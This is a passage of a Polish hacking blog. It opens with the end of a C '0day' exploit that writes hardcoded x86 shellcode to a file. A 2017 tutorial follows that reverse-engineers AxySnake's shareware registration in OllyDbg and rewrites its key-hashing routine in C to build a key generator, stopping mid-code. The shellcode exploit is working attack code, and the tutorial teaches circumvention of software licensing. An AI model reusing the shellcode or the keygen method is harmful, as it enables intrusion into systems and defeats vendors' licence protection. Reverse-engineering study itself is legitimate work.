int main(void)
{
    /* 0DAY-SHELLCODE-KLUCZ_PROGRAMOWY.ASM */
    char *ShellCode = "\x5f\xe8\x00\x00\x00\x00\x59\x8d\x19\x66\x31\xdb\x8d\x93"
                                  "\xb0\x00\x00\x00\x8b\x12\x01\xd3\x3e\x80\x3b\xab\x74\x16"
                                  "\x3e\xc6\x03\xab\x3e\x89\x7b\x04\x81\xc3\x2f\x10\x00\x00"
                                  "\x53\x68\x80\x00\x00\x00\x51\x51\x90\x90\x3e\xc7\x43\x08"
                                  "\x63\x61\x6c\x63\x3e\xc7\x43\x0c\x2e\x65\x78\x65\x31\xc9"
                                  "\x41\x51\x3e\x8d\x43\x08\x50\xb9\x6d\xe7\x07\x76\xff\xd1"
                                  "\xb8\xf3\x00\x00\x00\x3e\x8b\x5b\x04\x53\xc3\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
   
    printf("--------------------------------------------------------------------------\n");
    printf(" \t\t Klucz Programowy 0day (: Exploit\n");
    printf(" \t\t\t VER 1.0\n");
    printf(" \t\t      Coded by VLN\n");
    printf("--------------------------------------------------------------------------\n\n");
    printf("PROGRESS:\n");
    FILE *fp;
    if((fp=fopen(FILE_NAME,"wb"))==0)
    {
          printf("\t\t[-] Can't open file!\n\n");
          goto EXIT;
    }
    printf("\t[+] File '%s' opened.\n",FILE_NAME);
    fwrite(ShellCode,sizeof(char),0x80,fp);
    fclose(fp);
    printf("\t[+] ShellCode in file!\n\n");
    printf("ENJOY! (: \n[KluczProgramowy.exe 3]\n\n");
 EXIT:
    system("pause");
    return 0;
}

/**************************************************************************************************************
</KluczProgramowy-0day-exploit.c>
**************************************************************************************************************/


"Aplikacje Hakerodporne"? Bitch please...

Pozdrawiam, VLN.

PS.  Myślicie, że pan Jacek Ross podpisałby mi egzemplarz książki gdybym go o to poprosił? (:

PS2. Jak pewnie zauważyliście, to nie jest jakieś głupie pokazowe Buffer Overflow,
        Format String czy ret-to-libc, to jest kurwa Pure Hacking :)
   
EoF

niedziela, 10 grudnia 2017

Złamany wąż. Część Pierwsza.

Hardwired wymiata, to tak tytułem wstępu. A skoro powiedziało się 0x41 to wypadałoby powiedzieć i 0x42....


Drogi Czytelniku, napewno nie raz zdarzytło Ci się korzystać z tak zwanych KeyGenów (od ang. Key Generator - generatora kluczy),
dla tych co nie wiedzą czymże jest owy generator spieszę z tłumaczeniem; ale najpierw krótka bajeczka:

Dawno, dawno temu. Za siódmą rzeką i dziewiątą górą, w odległej krainie żyli sobie dobrzy programiści, którzy poświęcali czas na tworzenie swoich
aplikacji. Czas upływał im radośnie i beztrosko - wypuszczali oni swoje aplikacje , jednak ze względu na to ile czasu poświęcili na ich stworzenie
nie oddawali ich tak poprostu, o nie! Co to, to nie! Ze względu na czas, który włożyli w proces ich kreacji chcieli dostać coś w zamian -
- nie koniecznie połowę królestwa i nerkę księzniczki - coś bardziej trywialnego, jednak równie porządanego. Chcieli oni bowiem srebrników.
Marzyły im się garnce pełne złota (z pewnością tak było - gwarantuję). I tutaj pojawił się problem; bowiem jak przekonać lud do tego aby
owe garnce im napełnił? Hmm... trzeba było zaprezentować im swoje dzieło - ale jak to zrobić, żeby lud rzeczywiści chciał zaszeleścić banknotami?
Pewnego dnia pewien stary mentor programistów rzekł : patrz, ale nie dotykaj, smakuj, ale nie połykaj. Wśród programistów zawrzało - jak bowiem
urzeczywistnić taką wizję i przekompilować ją do programu? (: Główkowali oni długo i długo, aż w końcu jeden z nich wpadł na pomysł, ażeby
działanie ich tworów ograniczyć - jednak w taki sposób, żeby użytkownik odczuł wspaniałość owego dzieła (taste, but don't swallow [: ),
mógł zobaczyć co tak naprawdę program potrafi i po jakimś czasie wyświetlić mu komunikat w stylu: "Hola hola użytkowniku!
Jeśli jesteś zadowolony z naszej aplikacji to spraw, ażebyśmy byli zadowoleni z Ciebie!". I w taki oto sposób narodziła się idea
oprogramowania shareware/trial, która to obecna jest po dziś dzień.

Gdzieś w zasięgu działania dobrych programistów, żyli jeszcze inni programiści, znacznie lepiej
obeznani ze swoim rzemiosłem. Kiedy doszły ich słuchy o działaniach ich kolegów - postanowili działać.
Trudno powiedzieć, co tak naprawdę nimi kierowało i jakie były ich pobudki. Może po prostu
chcieli oni udowodnić swoją wyższość? Trzebaby było ich samych zapytać. Ich działania
przyniosły efekty - ze szkodą dla dobrych programistów oczywiście. Nastała wojna, bowiem
niewiadomo jak bardzo wymyślne i egzotyczne metody do zabezpieczenia programów były stosowane
w końcu i tak musiały się poddać. A im lepsze i silniejsze było dane zabezpieczenie
tym większy szacunek zyskiwał programista, który je powstrzymał. Wytworzył się swoisty
trend, na to kto pierwszy pokona daną aplikację. W ten sposób
powstała idea Cracku - pozbawionej zabezpieczeń aplikacji i dostępnej całkowicie
za darmo - która to obecna jest po dziś dzień.

Pomysłów na ograniczanie działalności jest chyba tyle co samych programistów - nikt nie zna wszytkich, bowiem codzień powstają nowe.
Jednym z nich (tym, na którym skupiam się w tym artykule) było oddanie w 100% oryginalnej kopii aplikacjii jednak aby cieszyć się jej
funkcjonalnością trzeba ją zarejestrować. Aby to zrobić potrzebne nam będą nazwa oraz odpowiedni klucz.
Najpierw prześledzimy sobie jak wygląda cały proces rejestracji tj. jak aplikacja "stwierdza" czy wprowadziliśmy
odpowiedni klucz do naszej nazwa użytkownika(?), a następnie postaramy się odtworzyć ten proces i na podstawie
tej wiedzy wygenerować własny klucz do wprowadzonej przez nas nazwy użytkownika. Pure Reverse Engineering :D


 Oto jakie możliwości na rejestrację daje nam jej producent (skopiowane z readme.htm) :

------------START-----------------------------------------[README.HTM]--------------------------------------------------
[...]
4. REGISTRATION

4.1 Registration Overview
    AxySnake is distributed on a shareware basis. You can register your copy of AxySnake at a cost of $14.95 (US). On payment approval, we will send you the registration key that will remove all the limitations.
    Your registration will be valid for all future versions of AxySnake. The registration fee will license AxySnake for use on one computer in your home, and on one computer at your workplace.
    If you wish to use AxySnake on several computers, you should purchase several single licenses.
See also SOFTWARE LICENSE AGREEMENT.


4.2 Order Online ($14.95)
    You can purchase AxySnake via the World Wide Web. This is the fastest and the easiest way. All registrations use SECURE protocols. It is impossible for a third party to intercept your credit card information. Important: when you are filling in the order form, please check twice that your e-mail address is correct! If your e-mail address is entered incorrectly, we will be unable to send you the registration key. We do not give your personal information or email address to anyone; it is for our own use only. 

    Click here to purchase AxySnake online.


4.3 Order by Phone ($17.95)
   You can purchase AxySnake by phone. "Register Now!" has an additional $3.00 (US) order handling fee for the phone order.
   Please DO NOT use these numbers for the technical support questions, they are for the ordering purpose only.

    Please call "Register Now!" :

    877-353-7297 (U.S. and Canada; toll-free) 
    425-392-2294 (Other countries; regular)
    Have your credit card information ready.
    Product name: AxySnake
    Product ID: 4174-5

4.4 Order by Fax ($17.45)
    You can order AxySnake by fax. 
    "Register Now!" has an additional $2.50 (US) order handling fee for fax orders.

    Proceed to the AxySnake order form:
    https://www.regnow.com/softsell/nph-softsell.cgi?item=4174-5

    Fill in the form and choose the "Payment Method:" as:   "Fax Order - Credit Card ( $ 2.50)" 

    Press "Finalize Order". 

    Write down the number of your order.

    On your fax transmission, please reference your order number, and include the following:

    Order Number
    Type of Credit Card 
    Name on Credit Card
    Credit Card Number    /* trzeba być skończonym debilem, żeby komuś wysłać takie dane (:  */
    Expiration Month and Year
    Fax numbers :
        888-353-7276 (U.S. and Canada; toll-free) 
        425-392-0223 (Other countries; regular)

4.5 Order by Mail  ($17.45)
    You can order AxySnake by mail. 
    "Register Now!" has an additional $2.50 (US) order handling fee for mail orders.
    Proceed to the AxySnake order form:
    https://www.regnow.com/softsell/nph-softsell.cgi?item=4174-5

    Fill in the form and choose the "Payment Method:" as:   "Mail Order - Check/Money Order ($ 2.50)" 

    Press "Finalize Order". 

    Write down the number of your order.

    Please make your check or money order out to "Register Now" for the amount of  $17.45 USD.
    The funds must be in US Dollars and drawn on a US bank. Please include your order number on your check, and send it to:

    Register Now!
    PO Box 1816
    Issaquah, WA 98027
    United States of America

------------END--------------------------------------------[/README.HTM]--------------------------------------------------


Trzeba przyznać, że z taką wyobraźnią pan Vladimir powinien pisać książki, a nie programy :)
Sam proces rejestracji jest chyba bardziej skomplikowany, niż to co opisuję w tym artykule.

A zatem do dzieła :

Co będzie nam potrzebne, aby "zarejestrować" AxySnake-a ?
Otórz potrzebować będziesz Czytelniku następujących programów:
 -OllyDbg (debugger, który w klarowny sposób odkryje przed nami meandry aplikacji, osobiście przezemnie polecany - dowolna wersja)
 -DevCpp  (kompilator języka C [właściwie to gcc, ale nie czepiajmy się] - dowolna wersja)
 -Python  (interpreter, opcjonalnie do wykorzytania przykładu w tym języku - dowolna wersja)

Wszystkie przykłady prezentowane przezemnie kompilowane były na Windowsie XP SP3.

Po uruchomieniu aplikacji ukazuje się nam taki oto widok:


Pierwsze co rzuca się w oczy to czerwony wyboldowany, brzydki napis "UNREGISTERED !" - postaramy się go pozbyć (:
Następną rzeczą która rzuca nam się w oczy jest pole poniżej z napisem "Registration" i to właśnie od tego zaczniemy naszą zabawę.
Po kliknięciu w owy "przycisk" ukazuje się nam coś takiego :

Czymś co powinno zwrócić naszą uwagę są EditBoxy obok napisu : "Registration Name" i "Registration Code".
Otwieramy AxySnak-a w Ollym i oto co nam się ukazuje (piękności [: ) :
Spróbujmy wpisać coś w/w pola :
u mnie jest to 'VLN' w Registration Name i '1234567890' w Registration Code.

Dziwne... pojawia się okno informujące nas o tym że wpisaliśmy błędne dane, jak możemy zauważyć nie jest to MessageBox,
więc raczej breakpoint na tą funkcję nic nam nieda, zresztą wywołanie takie nie występuje w głownym module,
a zatem będzie to strata czasu.

Co można sprawdzić poprzez:
RMB -> Search for -> All intermodular calls


Spróbujmy inaczej - trochę "na czuja" - jak możemy zauważyć w folderze z grą znajduje się DLLka o nazwie 'proton.dll'
w Callach widzimy dosyć sporo odwołań do niej,
ciekawe w jaki sposób program z niej korzysta... i co w niej siedzi, a zatem klikamy na Alt+E i wybieramy:


teraz zobaczmy cóż za napisy się w niej kryją; moją uwagę szczególnie przykuły te oto perełki :

RMB -> Search from -> All referenced text strings

1000FA0C   PUSH proton.1002CB4C                      ASCII "REG_DIALOG"
1000FA41   PUSH proton.1002CB40                      ASCII "REG_FAULT"
1000FA5F   PUSH proton.1002CB4C                      ASCII "REG_DIALOG"
1000FA97   PUSH proton.1002CB38                      ASCII "REG_OK"
[...]
1000FCD6   PUSH proton.1002CB4C                      ASCII "REG_DIALOG"
1000FD0D   PUSH proton.1002CB40                      ASCII "REG_FAULT"
1000FD2A   PUSH proton.1002CB4C                      ASCII "REG_DIALOG"
1000FD6C   PUSH proton.1002CB38                      ASCII "REG_OK"
[...]
1001069A   PUSH proton.1002CBA8                      ASCII "RegName"
100106EB   PUSH proton.1002CBA0                      ASCII "RegCode"
10010778   PUSH proton.1002CBA8                      ASCII "RegName"
10010795   PUSH proton.1002CBA0                      ASCII "RegCode"

Na każdą z nich dajemy BreakPoint (F2) i startujemy program (F9):

Na początku program zatrzymuje się pod 1001069A. I co my tu mamy?

1001068D  |. 52                         PUSH EDX                                                           ; /pBufSize
1001068E  |. 8B5424 10           MOV EDX,DWORD PTR SS:[ESP+10]             ; |
10010692  |. 8D4C24 14           LEA ECX,DWORD PTR SS:[ESP+14]              ; |
10010696  |. 50                          PUSH EAX                                                          ; |Buffer
10010697  |. 51                          PUSH ECX                                                          ; |pValueType
10010698  |. 6A 00                    PUSH 0                                                                ; |Reserved = NULL
1001069A  |. 68 A8CB0210      PUSH proton.1002CBA8                                    ; |ValueName = "RegName"
1001069F  |. 52                          PUSH EDX                                                         ; |hKey
100106A0  |. C74424 70 3F00>MOV DWORD PTR SS:[ESP+70],3F               ; |
100106A8  |. FFD3                    CALL EBX                                                        ; \RegQueryValueExA

Co jest odpowiednikiem C:
RegQueryValueEx(hKey(3F),"RegName",0,ECX,EAX

Jest to wywołanie funkcji, która sprawdza czy istnieje klucz w rejestrze, po niej mamy:

100106AA  |. 85C0           TEST EAX,EAX
100106AC  |. 75 28          JNZ SHORT proton.100106D6

Jeśli funkcja zwróci 0 to nic się nie dzieje , funkcja zwraca EAX = 00000002 a zatem skok pod proton.100106D6 jest wykonywany.

Prawdopodobnie program po wprowadzeniu poprawnych danych rejestracyjnych utworzy klucz w rejestrze o nazwie RegName i RegCode,
narazie takich danych nie ma, a zatem wykonywany jest skok, a zatem sam crack do tej aplikacji ograniczałby się do utworzenia
dwóch kluczy w rejestrze (: Narazie nas to nie interesuje i nie jest to celem tego artykułu, a zatem możemy pozbyć się BreakPointów spod
1001069A,100106EB,10010778,1001795 (Alt+B i spacją ustawiamy na Disabled).

Taraz F9 i klikamy na Registration i...  jesteśmy w domu :]

Teraz ostrożnie.... na piechotkę...

Po zatrzymaniu na pierwszym bp którym jest odłożeniem na stosie napisu "REG_DIALOG"
1000FA0C   . 68 4CCB0210    PUSH proton.1002CB4C                     ;  ASCII "REG_DIALOG"

używamy F8, żeby zrobić krok i przejść do następnej instrukcji, przy instrukcjii CALL  EDI () program startuje normalnie
pozwalająć nam na uzupełnienie dwóch DialogBoxów z rejestracji. Wypadałoby je uzupełnić; u mnie są to ponownie:
'VLN' i '0123456789', klikamy na 'Registration' i spowrotem zostajemy przeniesieni do Ollego. W tym momencie
możemy przypuszczać, że gdzieś w Zrzucie Pamięci program będzie przechowywał te dane. Kroczymy dalej.

Nasępnie do EBX wpisywany jest adres funkcji Sleep.
Czymś co powinno zwrócić naszą uwagę jest ten fragment kodu:

1000FA23   > E8 580E0000    CALL proton.10010880
1000FA28   . 85C0           TEST EAX,EAX
1000FA2A   . 75 42          JNZ SHORT proton.1000FA6E

A co my tutaj mamy?
Otóż widzimy wywołanie jakiejś funkcji, która coś zwraca (to co dajemy po return w C tutaj znajduje się w EAX)
a zatem sprawdzamy co zwróciła funkcja spod offsetu 10010880 i czy przypadkiem nie jest to zero,\
jeśli nie jest to wykonywany jest skok pod 1000FA6E. Taka funkcja(już wiemy, że to nie jest procedura)
w okolicy wprowadzania danych jest warta uwagi. Rzućmy więc na nią okiem :


Bingo! Widzimy tutaj, że ewidentnie coś jest robione ze wprowadzonymi przez nas danymi, a zatem tą funkcję trzeba prześledzić
bardzo dokładnie. No to zaczynamy (to jest to, co tygryski lubią najbardziej :) ),
postaramy się napisać odwzorowanie tej funkcji w C, żeby dokładnie prześledzić jak przebiega proces rejestracji.
[będę robił to w ten sposób, że najpierw będę wstawiał kod w asemblerze, a poźniej go tłumaczył na C,
 jeżeli któraś instrukcja nie będzie miała odpowiednika w C, wytłumaczenie będzie odkomentowane w ASMie]

-----------------------------------------------------------------------------------------------------

[ASM]
10010880  /$ A1 98A40310      MOV EAX,DWORD PTR DS:[1003A498]
10010885  |. 85C0                      TEST EAX,EAX
10010887  |. 0F84 E1000000     JE proton.1001096E                    ;Pierwszy_Skok
1001088D  |. 8B0D 9CA40310  MOV ECX,DWORD PTR DS:[1003A49C]
10010893  |. 85C9                       TEST ECX,ECX
10010895  |. 0F84 D3000000      JE proton.1001096E                  ;Drugi_Skok

[C]
void EAX = 0x1003A498;
void ECX = EAX+0x04;

if((short*)*EAX==0) goto Pierwszy_Skok;
if((short*)*ECX==0) goto Drugi_Skok;

--------------------------------------------------------------------------------------------------------

Po 'prze-kroczeniu' tego fragmentu kodu, zauważamy, że żaden skok nie został wykonany.
Dziwnym zbiegiem okoliczności, zauważamy, że wartości w EAX i ECX ustawiane są kolejno na 0x03 i 0x0A hmm...
zupełnie jak długości wprowadzonych przeze mnie danych... ciekawe.
A zatem na początku naszego odwzorowania powinno znaleźć się coś takiego :

--------------------------------------------------------------------------------------------------------

char *Reg_Name = "VLN";
char *Reg_Key = "0123456789";

unsigned short NameLen = strlen(Reg_Name);
unsigned short KeyLen = strlen(Reg_Key);

if(NameLen==0) goto Pierwszy_Skok;
if(KeyLen==0) goto Drugi_Skok;

--------------------------------------------------------------------------------------------------------

Nasepnie naszym oczom ukazuje się taki oto fragment kodu:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1001089B  |. 68 18F91210              PUSH proton.1012F918                                    ; null-string
100108A0  |. 68 38A40310             PUSH proton.1003A438                                   ; ASCII "VLN"
100108A5  |. C680 38A40310 >     MOV BYTE PTR DS:[EAX+1003A438],0        
100108AC  |. E8 4FFFFFFF           CALL proton.10010800                                    ; LoginCheck(Login,null-string);
100108B1  |. 83C4 08                     ADD ESP,8                                                        ; Usuwamy ze stosu bufor i Login
100108B4  |. 85C0                         TEST EAX,EAX
100108B6  |. 0F84 B2000000        JE proton.1001096E                                           ; Pierwszy_Skok

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Na początku widzimy, że na stosie lądują dwa offsety i wywoływana jest jakaś funkcja.
Dobrze byłoby wiedzieć co znajduje się pod 1012F918, a zatem RMB->Follow in Dump->Immediate Constant
Jak widzimy w Memory Dump, jest to pusty ciąg znaków. A zatem na stosie odkładany jest pusty ciąg znaków i login.
Następnie widzimy, do tuż za loginem ląduje 0, a zatem null-byte na koniec loginu. I wywoływana jest
funkcja spod offsetu 10010800, której zwracana wartość jest przyrównywana do zera i jeśli jest to zero
to wykonywany jest skok. Funkcję nazwałem sobie roboczo LoginCheck (wszak robi ona coś z loginem) czyli w C wygląda to mniej więcej tak :

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

char* OffsetLogin = 0x1003A438;
char* NullString = 0x1012F918;
OffsetLogin[EAX] = 0x00;
LoginCheck(OffsetLoginu,NullString);

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


W naszym odwzorowaniu powinno znaleźć się zatem:

----------------------------------------------------------------
char NullString[128] = {0};  /*Roboczo dałem tutaj 128 bitów*/
RegName[NameLen]=0x00;
if(CheckLogin(RegName,NullString)==0) goto Pierwszy_Skok;
----------------------------------------------------------------

Przyjrzyjmy się zatem, co kryje się pod proton.10010800:


Mamy tutaj coś takiego (początek funkcji[do return]) :

10010800  /$ 55                   PUSH EBP                                                  ; Zachowujemy EBP
10010801  |. 8B6C24 08      MOV EBP,DWORD PTR SS:[ESP+8]      ; Do EBP leci wartość ze stosuspod wartości [ESP+8]
                  |                                                                                              ; [EBP]=EBP         [EBP+4] = Return to 100108B1
                  |                                                                                             ; [EBP+8] = "VLN"  [EBP+0x12] = null-string
10010805  |. 8BCD            MOV ECX,EBP                                           ; [ECX] = "VLN"
10010807  |. 8A45 00        MOV AL,BYTE PTR SS:[EBP]                  ; do AL 1 bit spod EBP,czyli poprostu 'V'
1001080A  |. 84C0            TEST AL,AL                                                ;
1001080C  |. 74 10           JE SHORT proton.1001081E                        ; jeśli ECX[0]==0x0 to skok do LoginEnd
                   |                                                                                            ; do {
1001080E  |> 3C 20          /CMP AL,20                                                 ; czy AL==0x20 (0x20 to kod ASCII ' ')
10010810  |. 74 04            |JE SHORT proton.10010816                       ; jeśli tak to skok pod A | continue; skok do A
10010812  |. A8 80           |TEST AL,80                                                ; [raczej jest tutaj sprawdzenie czy to nie przypadkiem znak] Druga_Czesc
10010814  |. 74 0C           |JE SHORT proton.10010822                       ; jeśli tak to skok
10010816  |> 8A41 01     |MOV AL,BYTE PTR DS:[ECX+1]            ; do AL znak spod adresu ECX+1 (Kolejny bit z loginu do AL) A:
10010819   |. 41               |INC ECX                                                      ; ECX = ECX+1
1001081A  |. 84C0           |TEST AL,AL                                               ; Czy AL równy 0
1001081C  |.^75 F0          \JNZ SHORT proton.1001080E                   ; jeśli tak to skok pod 1001080E
                  |                                                                                            ; while(AL==0){
1001081E  |> 33C0        XOR EAX,EAX                                             ; zerujemy EAX   ;LoginEnd
10010820  |. 5D             POP EBP                                                         ; przywracamy EBP
10010821  |. C3             RETN                                                              ; Return (CALL EBP)


A zatem do naszego odwzorowania trzeba dodać funkcję LoginCheck która zaczyna się w następujący sposób :

----------------------------------------------------------------------------------
int LoginCheck(char* Login,char* buffer) /*EAX ma 4 bity, dlatego funkcja jest typu int*/
{
    int i = 0x00;
    char a = Login[0];
    if(a==0x00) LoginEnd;
    do
    {
        if(a==0x20) goto A;
        if(a!=0x80) goto B;
        A:
        a=Login[i+1];
        ++i;
    }
    while(a==0);
   
    LoginEnd:
    return 0;

-----------------------------------------------------------------------------------


Druga część tej funkcji jest o wiele ciekawsza, bowiem na podstawie loginu
generowany jest specjalny 16 bitowy hash.





10010822  |> 53                   PUSH EBX                                                ;Zachowanie EBX (licznik głownej pętli)
10010823  |. 56                    PUSH ESI                                                  ;Zachowanie ESI (licznik null-stringa)
10010824  |. 57                    PUSH EDI                                                 ;Zachowanie EDI
10010825  |. 8B7C24 18      MOV EDI,DWORD PTR SS:[ESP+18]   ;null-string do EDI
10010829  |. 8BCF               MOV ECX,EDI                                         ;null-string(jego offset) do EDX
1001082B  |. 33C0               XOR EAX,EAX                                         ;zerujemy EAX
1001082D  |. 33F6               XOR ESI,ESI                                             ;zerujemy ESI
1001082F   |. 8BD5              MOV EDX,EBP                                        ;do EDX wędruje offset loginu
10010831   |. 8901                MOV DWORD PTR DS:[ECX],EAX      ;zerowanie 4 bajtów spod DataSegment[null-string]=\x00\x00\x00\x00
10010833   |. 33DB              XOR EBX,EBX                                           ;zerowanie EBX
10010835   |. 8941 04           MOV DWORD PTR DS:[ECX+4],EAX    ;kolejne 4 bajty null-stringa wyzerowane
10010838   |. 8941 08         MOV DWORD PTR DS:[ECX+8],EAX    ;następne
1001083B  |. 8941 0C         MOV DWORD PTR DS:[ECX+C],EAX    ;i kolejne, to pozwala przypuszczać, że nullstring ma 16 bajtów
1001083E  |. 8BC7             MOV EAX,EDI                                            ;null-string do EAX
                  |;                                                                                             [EDX = "VLN"] , [EAX = "0000000000000000"] , [EDI=null-string] , EAX=EDI
                  |;                                                                                             do{
10010840  |> 803A 00        /CMP BYTE PTR DS:[EDX],0                  ;czy bit loginu jest równy 0
10010843  |. 75 03             |JNZ SHORT proton.10010848                   ;jeśli tak, to skok
10010845  |. 40                  |INC EAX                                                    ;EAX=EAX+1
10010846  |. 8BD5             |MOV EDX,EBP                                        ;wracamy na początek loginu
10010848  |> 8A0A           |MOV CL,BYTE PTR DS:[EDX]              ;do CL leci znak z loginu
1001084A  |. 80F9 20        |CMP CL,20                                                ;jeśli to spacja
1001084D  |. 74 14            |JE SHORT proton.10010863                       ;to skok do NEXT
1001084F  |. F6C1 80        |TEST CL,80                                               ;jeśli to nie litera,
10010852  |. 75 0F             |JNZ SHORT proton.10010863                  ;to skok do NEXT
10010854  |. 0008              |ADD BYTE PTR DS:[EAX],CL               ;dodaj do null-stringa spod indeksu EAX, wartosć spod CL (znaku z loginu)
10010856  |. 40                  |INC EAX                                                  ;EAX=EAX+1
10010857  |. 46                  |INC ESI                                                    ;ESI=ESI+1
10010858  |. 83FE 10        |CMP ESI,10                                             ;jeśli ESI!=0x16 to skok (a zatem null-string ma 16 bitów)
1001085B  |. 75 07            |JNZ SHORT proton.10010864               ;skok do NEXT
1001085D  |. 33F6            |XOR ESI,ESI                                          ;zerujemy ESI
1001085F   |. 8BC7            |MOV EAX,EDI                                     ;wracamy na początek null-stringa
10010861   |. EB 01           |JMP SHORT proton.10010864              ;skok bezwarunkowy do
                   | NEXT:
10010863   |> 4B               |DEC EBX                                                ;EBX=EBX-1
10010864   |> 42               |INC EDX                                                 ;EDX=EDX+1
10010865   |. 43                |INC EBX                                                 ;EBX=EBX+1
10010866   |. 83FB 6F      |CMP EBX,6F                                          ;porównaj EBX i 0x006F
10010869   |.^7C D5          \JL SHORT proton.10010840                 ;jeśli niższe to skok
                   |;                                                                                       }while(EBX<0x6f);
1001086B  |. 5F             POP EDI                                                      ;ściągamy ze stosu EDI
1001086C  |. 5E             POP ESI                                                      ;ściągamy ze stosu ESI
1001086D  |. 5B             POP EBX                                                   ;ściągamy ze stosu EBX
1001086E  |. B8 01000000    MOV EAX,1                                      ;funkcja zwróci 1
10010873  |. 5D             POP EBP                                                    ;oryginalna ramka stosu
10010874  \. C3             RETN                                                         ;skok do return (:


A zatem po przeanalizowaniu funkicji LoginCheck wiemy już jakie powieżono jej zadania:
1) Pomija ona wszystkie spacje i znaki które nie są literami A-Z i cyframi 2-9
2) Generuje unikatowy 16 bitowy hash na podstawie loginu
3) W przypadku powodzenia (z punktu widzenia programu) funkcja zwraca 1 / w przypadku błędu 0

Nasze odwzorowanie funkcji LoginCheck powinno zatem zostać uzupełnione o odpowiednie instrukcje.
Cała funkcja LoginCheck po odwzorowaniu prezentuje się więc następująco :


---------------------------------------------------------------------------------
int LoginCheck(char *Login,char *Hash)
{
    unsigned short i_loop = 0;
    unsigned short i_hash = 0;
    unsigned short i_login = 0;
    unsigned short esi =0 ;
    unsigned char CL;
   
    int i = 0x00;
    char a = Login[0];
    if(a==0x00) goto LoginEnd;
    do
    {
        if(a==0x20) goto A;
        goto B;
        A:
        a=Login[i+1];
        ++i;
    }
    while(a==0);
   
    LoginEnd:
    return 0;
   
    B:
   
    /* Zerowanie buffera pomijamy ze względu zdeklarowania tego obszaru pamięci na same zera(\x00)
       jeśli jednak komuś ma spędzać to sen z powiek, to zalecam użycie np. ZeroMemory :)*/
   
    do
    {
          if(Login[i_login]==0)
          {
             i_hash=i_hash+1;
             i_login=0;
         
          }
          CL = Login[i_login];  
          if(CL==' ') goto C;
         
          Hash[i_hash] = Hash[i_hash]+CL;
          i_hash = i_hash+1;
          esi=esi+1;
         
          if(esi==0x10)
          {
              esi=0;
              i_hash=0;
              goto CONTINUE;
          }
          else goto CONTINUE;
    C:
          i_loop=i_loop-1;
    CONTINUE:
          i_login=i_login+1;
          ++i_loop;
    }while(i_loop<0x006F);
   
    return 1;
}
------------------------------------------------------------------------------

Aby móc określić, czy nasza funkcja działa w 100% tak samo jak oryginał trzeba porównać wyniki obu.
W tym przypadku będzie to sprawdzenie czy oba Hashe są identyczne, żeby to zrobić posłużymy się
napisaną przeze mnie procedurą, której zadaniem będzie wypisanie Hashu w postaci hexagonalnej,
o jakże sprytnej nazwie HexPrint, powinna się ona znaleźć w naszym odwzorowaniu.

/* Funkcja ta jeszcze nie raz może się okazać pomocna, niekoniecznie w tym przykładzie.
   Myślę zatem, że warto zachować ją gdzieś w kuluarach swojego dysku i... czekać :) */

  
Jej argumenty to; adres do obszaru pamięci z którego czytamy, długość czytanego obszaru i separator którym
oddzielamy poszczególne znaki.

-------------------------------------------------------------------------------

void HexPrint(unsigned char *ToPrint,unsigned short len,char sep)
{
     printf("________________________________________________________________\n");
     printf("\t[Hex Print]\t[0x%08X]\t[%d bytes]\n",ToPrint,len);
     printf("----------------------------------------------------------------\n");
     printf(" Offset\t%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c\n",sep,0,sep,1,sep,2,sep,3,sep,4,sep,5,sep,6,sep,7,sep,8,sep,9,sep);
     printf("----------------------------------------------------------------");
     unsigned short i,j;
    
     for(i=0,j=0;i<len;++i)
     {
         if(i%10==0)
         {
            printf("\n\r %c%04X%c\t%c",sep,j,sep,sep);
            j=j+0x000A;
         }
         printf("0x%02X%c",ToPrint[i],sep);
        
        
     }
     printf("\n----------------------------------------------------------------");
     printf("\n________________________________________________________________\n");
}

--------------------------------------------------------------------------------


Całość powinna prezentować się następująco:
------------START-----------------------------------------[LoginCheckTest.c]--------------------------------------------------
#include <stdio.h>
#include <stdlib.h>

void HexPrint(unsigned char *ToPrint,unsigned short len,char sep)
{
     printf("________________________________________________________________\n");
     printf("\t[Hex Print]\t[0x%08X]\t[%d bytes]\n",ToPrint,len);
     printf("----------------------------------------------------------------\n");
     printf(" Offset\t%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c\n",sep,0,sep,1,sep,2,sep,3,sep,4,sep,5,sep,6,sep,7,sep,8,sep,9,sep);
     printf("----------------------------------------------------------------");
     unsigned short i,j;
    
     for(i=0,j=0;i<len;++i)
     {
         if(i%10==0)
         {
            printf("\n\r %c%04X%c\t%c",sep,j,sep,sep);
            j=j+0x000A;
         }
         printf("0x%02X%c",ToPrint[i],sep);
        
        
     }
     printf("\n----------------------------------------------------------------");
     printf("\n________________________________________________________________\n");
}

int LoginCheck(char *Login,char *Hash)
{
    unsigned short i_loop = 0;
    unsigned short i_hash = 0;
    unsigned short i_login = 0;
    unsigned short esi =0 ;
    unsigned char CL;
   
    int i = 0x00;
    char a = Login[0];
    if(a==0x00) goto LoginEnd;
    do
    {
        if(a==0x20) goto A;
        goto B;
        A:
        a=Login[i+1];
        ++i;
    }
    while(a==0);
   
    LoginEnd:
    return 0;
   
    B:
   
    /* Zerowanie buffera pomijamy ze względu zdeklarowania tego obszaru pamięci na same zera(\x00)
       jeśli jednak komuś ma spędzać to sen z powiek, to zalecam użycie np. ZeroMemory :)*/
   
    do
    {
          if(Login[i_login]==0)
          {
             i_hash=i_hash+1;
             i_login=0;
         
          }
          CL = Login[i_login];  
          if(CL==' ') goto C;
         
          Hash[i_hash] = Hash[i_hash]+CL;
          i_hash = i_hash+1;
          esi=esi+1;
         
          if(esi==0x10)
          {
              esi=0;
              i_hash=0;
              goto CONTINUE;
          }
          else goto CONTINUE;
    C:
          i_loop=i_loop-1;
    CONTINUE:
          i_login=i_login+1;
          ++i_loop;
    }while(i_loop<0x006F);
   
